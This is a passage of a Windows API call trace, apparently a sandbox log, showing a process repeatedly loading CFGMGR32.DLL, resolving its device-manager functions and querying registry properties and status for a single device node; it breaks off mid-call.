[0231.158] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cff0 [0231.158] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0231.158] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0231.158] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0231.158] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0231.158] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0231.158] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0231.158] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0231.159] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0231.159] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4022d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0231.160] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0231.170] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cff0) returned 1 [0231.172] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.172] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.173] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.174] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.175] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.176] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.176] malloc (_Size=0x18) returned 0x20abc281e60 [0231.176] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0231.177] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x458f950f, dwHighDateTime=0x1d9eb0c)) [0231.177] SetEvent (hEvent=0x248) returned 1 [0231.182] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.182] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.182] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.183] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.184] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.185] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.186] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.186] malloc (_Size=0x18) returned 0x20abc281c60 [0231.186] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.190] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.190] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x458f950f, dwHighDateTime=0x1d9eb0c)) [0231.190] SetEvent (hEvent=0x248) returned 1 [0231.246] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.246] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.247] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.248] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.249] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.250] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.251] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.252] malloc (_Size=0x18) returned 0x20abc281b00 [0231.252] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.252] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x459920a7, dwHighDateTime=0x1d9eb0c)) [0231.253] SetEvent (hEvent=0x248) returned 1 [0231.257] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.257] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.258] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.259] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.260] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.261] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.261] malloc (_Size=0x18) returned 0x20abc281e80 [0231.262] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.262] malloc (_Size=0x48) returned 0x20abc27cf80 [0231.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x459b8534, dwHighDateTime=0x1d9eb0c)) [0231.262] SetEvent (hEvent=0x248) returned 1 [0231.266] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.266] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.266] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.267] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.268] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.269] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.270] malloc (_Size=0x18) returned 0x20abc281f60 [0231.270] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.270] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x459de4e9, dwHighDateTime=0x1d9eb0c)) [0231.271] SetEvent (hEvent=0x248) returned 1 [0231.276] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.276] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.276] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.277] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.278] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.279] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.279] malloc (_Size=0x18) returned 0x20abc281ea0 [0231.280] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0231.282] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x459de4e9, dwHighDateTime=0x1d9eb0c)) [0231.282] SetEvent (hEvent=0x248) returned 1 [0231.349] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.349] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0231.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0231.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0231.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0231.352] malloc (_Size=0x18) returned 0x20abc281a00 [0231.353] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1b, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0231.353] malloc (_Size=0x48) returned 0x20abc27cb20 [0231.353] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x45a9cede, dwHighDateTime=0x1d9eb0c)) [0231.353] SetEvent (hEvent=0x248) returned 1 [0231.358] malloc (_Size=0xd8) returned 0x20abc284e70 [0231.358] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0231.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0231.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0231.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0231.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0231.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0231.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0231.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0231.359] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0231.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0231.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0231.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0231.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0231.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0231.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0231.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0231.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0231.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0231.361] GetProcAddress 